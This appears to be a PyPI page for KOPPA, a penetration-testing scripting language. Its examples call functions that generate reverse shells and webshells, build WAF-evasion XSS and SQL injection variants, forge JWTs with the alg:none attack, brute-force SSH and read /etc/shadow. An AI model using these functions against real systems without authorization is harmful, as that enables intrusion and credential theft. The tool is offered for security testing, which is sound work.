Skip to main content

KOPPA — Advanced Cybersecurity Domain-Specific Language

Project description

KOPPA Language v3.0

Advanced Cybersecurity Domain-Specific Language

A programming language built from the ground up for security professionals, penetration testers, and red teamers.

Why KOPPA?

Feature KOPPA Python
Pipeline operator |> data |> clean |> analyze Not available
String interpolation "host: {target}" f"host: {target}" (needs f prefix)
Null coalescing val ?: "default" val or "default" (footgun with 0/False)
Optional chaining resp?.body?.status getattr(getattr(resp,"body",None),"status",None)
Built-in security import scan, vuln, payload Requires separate pip installs
Byte literals b"\x90\x90\xcc" with .xor(), .hex, .b64 Limited operations
Bitwise ops 0xFF & mask, addr >> 2, key ^ data Same
Class + pipeline Scanner("target") |> run |> report Verbose

Quick Start

# Install
pip install koppa-lang

# Run a script
koppa run script.kop

# Interactive REPL
koppa repl

# Compile to bytecode
koppa compile script.kop

Hello World

import log

fn main() {
    let target = "scanme.nmap.org"
    log.info("Scanning {target}...")
    log.success("Done!")
}

Run it:

koppa run hello.kop

Language Features

Variables

let name   = "KOPPA"        # immutable
var count  = 0              # mutable
const MAX  = 1024           # constant

Functions with Default Parameters

fn scan(host, port = 80, timeout = 1.0) {
    return scan.tcp(host, port, timeout)
}

fn log_all(*messages) {
    for msg in messages {
        log.info(msg)
    }
}

Classes

class Scanner {
    fn __init__(self, target, timeout = 1.0) {
        self.target  = target
        self.timeout = timeout
        self.results = []
    }

    fn run(self, ports) {
        let open = scan.mass(self.target, ports, self.timeout)
        self.results = open
        return self
    }

    fn report(self) {
        log.info("[{self.target}] Open: {self.results}")
        return self.results
    }
}

let s = new Scanner("192.168.1.1")
s.run([22, 80, 443, 8080]) |> s.report()

Pipeline Operator

target
    |> recon.dns()
    |> scan.mass([80, 443, 8080])
    |> filter(open_ports)
    |> report.save("results.json")

Pattern Matching

match service {
    "http"  => http.scan(target),
    "https" => tls.scan(target),
    "ssh"   => brute.ssh(target, wordlist),
    "smb"   => enum.smb_shares(target),
    _       => log.warn("Unknown: {service}")
}

Comprehensions

let open_ports = [p for p in ports if scan.tcp(host, p)]
let hashes     = {pw: hash.md5(pw) for pw in wordlist}
let cracked    = [h for h in hashes if h.len == 32]

Ternary + Null Coalescing

let status = is_open ? "OPEN" : "CLOSED"
let host   = args.host ?: "127.0.0.1"
let port   = resp?.headers?.port ?: 80

Bitwise Operations

let masked   = value & 0xFF
let flags    = 0b0001 | 0b0010 | 0b0100
let xored    = key ^ data
let shifted  = addr >> 2
let inverted = ~mask & 0xFFFF

Byte Literals

let nop_sled = b"\x90\x90\x90\xcc"
let encoded  = nop_sled.xor(0x41)
log.info("hex: {nop_sled.hex}")
log.info("b64: {nop_sled.b64}")
log.info("len: {nop_sled.len}")

Error Handling

try {
    let data = io.read_file("/etc/shadow")
} catch (e) {
    log.warn("Cannot read: {e}")
}

Async / Parallel

async fn mass_scan(targets) {
    parallel {
        for target in targets {
            emit scan.mass(target, top_ports)
        }
    }
}

Security Modules

import scan, vuln, payload, bypass, session
import hash, encode, jwt, brute, fuzz
import recon, dns, ssl, http, net
import report, log

scan — Port Scanning

let open = scan.mass("192.168.1.1", [80,443,8080], 0.5)
let svc  = scan.service(443)                          # "https"
let b    = scan.banner("192.168.1.1", 21)
let udp  = scan.udp("192.168.1.1", 53)

vuln — Vulnerability Testing

let sqli = vuln.sqli_payloads()           # 15+ SQLi payloads
let xss  = vuln.xss_payloads()            # 12+ XSS payloads
let lfi  = vuln.lfi_payloads()            # 10+ LFI payloads

let found = vuln.test_sqli(url, "id")     # active test
let hdr   = vuln.scan_headers(url)        # security headers audit

payload — Shell Generation

let bash = payload.reverse_shell("bash",       "10.10.10.1", 4444)
let py   = payload.reverse_shell("python",     "10.10.10.1", 4444)
let ps   = payload.reverse_shell("powershell", "10.10.10.1", 4444)
let web  = payload.webshell("php")
let enc  = payload.encode(shell, "base64")
let pat  = payload.msf_pattern(64)

bypass — WAF Evasion

let xss_vars  = bypass.xss_variants("<script>alert(1)</script>")
let sqli_vars = bypass.sqli_variants("' OR 1=1--")
let ip_vars   = bypass.ip_variants("127.0.0.1")
let encoded   = bypass.encode_chain(payload, "url", "base64")

session — HTTP Sessions

let s = session.new()
s.set_header("X-Forwarded-For", "127.0.0.1")
let login = s.post("http://target/login", {user: "admin", pass: "test"})
let page  = s.get("http://target/admin")
log.info("Status: {page.status}")

hash / encode

let md5  = hash.md5("password")
let ntlm = hash.ntlm("Password1!")
let b64  = encode.b64_encode("secret")
let hex  = encode.hex_encode(data)

jwt — JWT Attacks

let decoded = jwt.decode(token)
let none    = jwt.none_alg(token)       # alg:none attack
let cracked = jwt.crack(token, wordlist)
let forged  = jwt.forge({"sub": "admin", "role": "superuser"}, "")

Complete Example — Web Vulnerability Scanner

import log, vuln, session, report

fn scan_target(url) {
    log.info("=== Scanning {url} ===")

    # Security headers
    let hdr_result = vuln.scan_headers(url)
    log.warn("Missing headers: {hdr_result.missing.len}")

    # SQL injection
    let sqli_found = vuln.test_sqli(url, "id")
    for finding in sqli_found {
        log.warn("[SQLi] {finding.payload}")
    }

    # XSS
    let xss_found = vuln.test_xss(url, "search")
    for finding in xss_found {
        log.warn("[XSS] {finding.payload}")
    }

    return sqli_found.len + xss_found.len
}

fn main() {
    let targets = ["http://testphp.vulnweb.com"]
    let total = 0

    for target in targets {
        total += scan_target(target)
    }

    log.info("Total findings: {total}")
    total > 0 ? log.warn("Vulnerabilities found!") : log.success("Clean!")
}

Running Scripts

koppa run script.kop              # interpreter (default)
koppa run --vm script.kop         # bytecode VM (faster)
koppa compile script.kop          # compile to .kpc
koppa disasm script.kop           # show bytecode
koppa lex script.kop              # show tokens
koppa parse script.kop            # show AST
koppa repl                        # interactive REPL
koppa version                     # version info

Package Manager

koppa pkg install pentest-utils   # install package
koppa pkg list                    # list installed
koppa pkg search scanner          # search registry
koppa pkg init                    # create koppa.json

Installation

# From PyPI
pip install koppa-lang

# From source
git clone https://github.com/yourusername/koppa
cd koppa
pip install -e .

# Windows (Scoop)
scoop install koppa

# macOS (Homebrew)
brew install koppa

# Docker
docker run -it koppalang/koppa repl

VS Code Extension

Install koppa-language from the VS Code marketplace for:

  • Syntax highlighting
  • Code snippets
  • .kop file support

Architecture

koppa/
+-- src/
|   +-- lexer.py          # Tokenizer
|   +-- parser.py         # AST builder
|   +-- interpreter.py    # Tree-walk interpreter (default)
|   +-- compiler.py       # Bytecode compiler
|   +-- koppa_opcodes.py  # VM instruction set
|   +-- vm.py             # Stack-based VM
|   +-- stdlib_native.py  # Standard library (Python)
|   +-- pkg_manager.py    # Package manager
|   +-- koppa.py          # CLI entry point
+-- stdlib/
|   +-- core.kop          # Core utilities
|   +-- network.kop       # Network helpers
|   +-- security.kop      # Security demos
+-- examples/
|   +-- hello.kop
|   +-- port_scanner.kop
|   +-- cyber_demo.kop    # Full cybersecurity demo
|   +-- ...
+-- vscode-extension/     # VS Code plugin
+-- tests/
|   +-- run_tests.py
+-- docs/
    +-- LANGUAGE_SPEC.md
    +-- GETTING_STARTED.md

License

MIT License — Built for security professionals, by security professionals.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

koppa_lang-3.0.1.tar.gz (51.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

koppa_lang-3.0.1-py3-none-any.whl (49.7 kB view details)

Uploaded Python 3

File details

Details for the file koppa_lang-3.0.1.tar.gz.

File metadata

  • Download URL: koppa_lang-3.0.1.tar.gz
  • Upload date:
  • Size: 51.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.10

File hashes

Hashes for koppa_lang-3.0.1.tar.gz
Algorithm Hash digest
SHA256 94fe326bfb4505c4eae0c5ea032906d1b208ef68d47f659ab1464adc78e0d2a4
MD5 160ceb5994066c81e2e176f2f612b29a
BLAKE2b-256 2b300a56491c57251ad81230fc0a2745731ba6e1df74f9b9561bf1773cf69719

See more details on using hashes here.

File details

Details for the file koppa_lang-3.0.1-py3-none-any.whl.

File metadata

  • Download URL: koppa_lang-3.0.1-py3-none-any.whl
  • Upload date:
  • Size: 49.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.10

File hashes

Hashes for koppa_lang-3.0.1-py3-none-any.whl
Algorithm Hash digest
SHA256 694133178a34a3225d2bdc4d510f0c1a733ed43dbd6c97b24ab790b582635260
MD5 bd028a76c3e3e74d09662c1883b6b1bd
BLAKE2b-256 8fb90c14dcac4c197f4d2255b4b28334378871a6de803d949992a3ef39378e20

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page